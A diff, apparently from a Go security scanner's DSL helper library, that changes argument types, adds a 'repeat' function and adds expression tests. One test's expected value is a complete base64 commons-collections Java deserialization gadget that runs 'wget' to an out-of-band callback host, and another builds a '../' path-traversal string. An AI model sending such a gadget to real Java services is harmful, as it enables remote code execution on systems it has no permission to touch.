seconds = int(args[0].(uint))
|
seconds = int(args[0].(float64))
|
||||||
}
|
}
|
||||||
|
|
||||||
offset := time.Now().Add(time.Duration(seconds) * time.Second)
|
offset := time.Now().Add(time.Duration(seconds) * time.Second)
|
||||||
@ -307,7 +320,7 @@ func init() {
|
|||||||
if len(args) != 1 {
|
if len(args) != 1 {
|
||||||
return nil, invalidDslFunctionError
|
return nil, invalidDslFunctionError
|
||||||
}
|
}
|
||||||
seconds := args[0].(uint)
|
seconds := args[0].(float64)
|
||||||
time.Sleep(time.Duration(seconds) * time.Second)
|
time.Sleep(time.Duration(seconds) * time.Second)
|
||||||
return true, nil
|
return true, nil
|
||||||
},
|
},
|
||||||
|
|||||||
@ -4,6 +4,7 @@ import (
|
|||||||
"compress/gzip"
|
"compress/gzip"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
|
"math"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
@ -50,7 +51,7 @@ func TestDSLGzipSerialize(t *testing.T) {
|
|||||||
require.Equal(t, "hello world", string(data), "could not get gzip encoded data")
|
require.Equal(t, "hello world", string(data), "could not get gzip encoded data")
|
||||||
}
|
}
|
||||||
|
|
||||||
func Test1(t *testing.T) {
|
func TestDslFunctionSignatures(t *testing.T) {
|
||||||
type testCase struct {
|
type testCase struct {
|
||||||
methodName string
|
methodName string
|
||||||
arguments []interface{}
|
arguments []interface{}
|
||||||
@ -116,6 +117,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
|
|||||||
[93mrand_text_numeric[0m(length [38;5;208muint[0m, optionalBadNumbers [38;5;208mstring[0m)[38;5;208m string[0m
|
[93mrand_text_numeric[0m(length [38;5;208muint[0m, optionalBadNumbers [38;5;208mstring[0m)[38;5;208m string[0m
|
||||||
[93mregex[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mregex[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mremove_bad_chars[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mremove_bad_chars[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
|
[93mrepeat[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mreplace[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mreplace[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mreplace_regex[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mreplace_regex[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mreverse[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mreverse[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
@ -145,3 +147,130 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
|
|||||||
assert.Equal(t, expectedSignaturesWithoutColor, GetPrintableDslFunctionSignatures(true))
|
assert.Equal(t, expectedSignaturesWithoutColor, GetPrintableDslFunctionSignatures(true))
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDslExpressions(t *testing.T) {
|
||||||
|
dslExpressions := map[string]interface{}{
|
||||||
|
`base64("Hello")`: "SGVsbG8=",
|
||||||
|
`base64(1234)`: "MTIzNA==",
|
||||||
|
`base64_py("Hello")`: "SGVsbG8=\n",
|
||||||
|
`hex_encode("aa")`: "6161",
|
||||||
|
`html_escape("<body>test</body>")`: "<body>test</body>",
|
||||||
|
`html_unescape("<body>test</body>")`: "<body>test</body>",
|
||||||
|
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
|
||||||
|
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
|
||||||
|
`mmh3("Hello")`: "316307400",
|
||||||
|
`remove_bad_chars("abcd", "bc")`: "ad",
|
||||||
|
`replace("Hello", "He", "Ha")`: "Hallo",
|
||||||
|
`repeat("a", 5)`: "aaaaa",
|
||||||
|
`repeat("a", "5")`: "aaaaa",
|
||||||
|
`repeat("../", "5")`: "../../../../../",
|
||||||
|
`repeat(5, 5)`: "55555",
|
||||||
|
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
|
||||||
|
`reverse("abc")`: "cba",
|
||||||
|
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
|
||||||
|
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
|
||||||
|
`to_lower("HELLO")`: "hello",
|
||||||
|
`to_upper("hello")`: "HELLO",
|
||||||
|
`trim("aaaHelloddd", "ad")`: "Hello",
|
||||||
|
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
|
||||||
|
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
|
||||||
|
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
|
||||||
|
`trim_space(" Hello ")`: "Hello",
|
||||||
|
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
|
||||||
|
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
|
||||||
|
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
|
||||||
|
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
|
||||||
|
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
|
||||||
|
`base64_decode("SGVsbG8=")`: []byte{0x48, 0x65, 0x6c, 0x6c, 0x6f},
|
||||||
|
`hex_decode("6161")`: []byte{0x61, 0x61},
|
||||||
|
`len("Hello")`: float64(5),
|
||||||
|
`len(1234)`: float64(4),
|
||||||
|
`contains("Hello", "lo")`: true,
|
||||||
|
`regex("H([a-z]+)o", "Hello")`: true,
|
||||||
|
`wait_for(1)`: nil,
|
||||||
|
`print_debug(1+2, "Hello")`: nil,
|
||||||
|
}
|
||||||
|
|
||||||
|
for dslExpression, expectedResult := range dslExpressions {
|
||||||
|
t.Run(dslExpression, func(t *testing.T) {
|
||||||
|
actualResult := evaluateExpression(t, dslExpression)
|
||||||
|
|
||||||
|
if expectedResult != nil {
|
||||||
|
assert.Equal(t, expectedResult, actualResult)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("%s: \t %v\n", dslExpression, actualResult)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRandDslExpressions(t *testing.T) {
|
||||||
|
randDslExpressions := map[string]string{
|
||||||
|
`rand_base(10, "")`: `[a-zA-Z0-9]{10}`,
|
||||||
|
`rand_base(5, "abc")`: `[abc]{5}`,
|
||||||
|
`rand_base(5)`: `[a-zA-Z0-9]{5}`,
|
||||||
|
`rand_char("abc")`: `[abc]{1}`,
|
||||||
|
`rand_char("")`: `[a-zA-Z0-9]{1}`,
|
||||||
|
`rand_char()`: `[a-zA-Z0-9]{1}`,
|
||||||
|
|
||||||
|
`rand_text_alpha(10, "abc")`: `[^abc]{10}`,
|
||||||
|
`rand_text_alpha(10, "")`: `[a-zA-Z]{10}`,
|
||||||
|
`rand_text_alpha(10)`: `[a-zA-Z]{10}`,
|
||||||
|
`rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`,
|
||||||
|
`rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`,
|
||||||
|
`rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`,
|
||||||
|
`rand_text_numeric(10, 123)`: `[^123]{10}`,
|
||||||
|
`rand_text_numeric(10)`: `\d{10}`,
|
||||||
|
}
|
||||||
|
|
||||||
|
for randDslExpression, regexTester := range randDslExpressions {
|
||||||
|
t.Run(randDslExpression, func(t *testing.T) {
|
||||||
|
actualResult := evaluateExpression(t, randDslExpression)
|
||||||
|
|
||||||
|
compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester))
|
||||||
|
|
||||||
|
fmt.Printf("%s: \t %v\n", randDslExpression, actualResult)
|
||||||
|
|
||||||
|
stringResult := types.ToString(actualResult)
|
||||||
|
|
||||||
|
assert.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRandIntDslExpressions(t *testing.T) {
|
||||||
|
randIntDslExpressions := map[string]func(int) bool{
|
||||||
|
`rand_int(5, 9)`: func(i int) bool {
|
||||||
|
return i >= 5 && i <= 9
|
||||||
|
},
|
||||||
|
`rand_int(9)`: func(i int) bool {
|
||||||
|
return i >= 9
|
||||||
|
},
|
||||||
|
`rand_int()`: func(i int) bool {
|
||||||
|
return i >= 0 && i <= math.MaxInt32
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for randIntDslExpression, tester := range randIntDslExpressions {
|
||||||
|
t.Run(randIntDslExpression, func(t *testing.T) {
|
||||||
|
actualResult := evaluateExpression(t, randIntDslExpression)
|
||||||
|
|
||||||
|
actualIntResult := actualResult.(int)
|
||||||
|
assert.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func evaluateExpression(t *testing.T, dslExpression string) interface{} {
|
||||||
|
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, HelperFunctions())
|
||||||
|
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
|
||||||
|
|
||||||
|
actualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))
|
||||||
|
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
|
||||||
|
|
||||||
|
for _, negativeTestWord := range []string{"panic", "invalid", "error"} {
|
||||||
|
require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord)
|
||||||
|
}
|
||||||
|
|
||||||
|
return actualResult
|
||||||
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user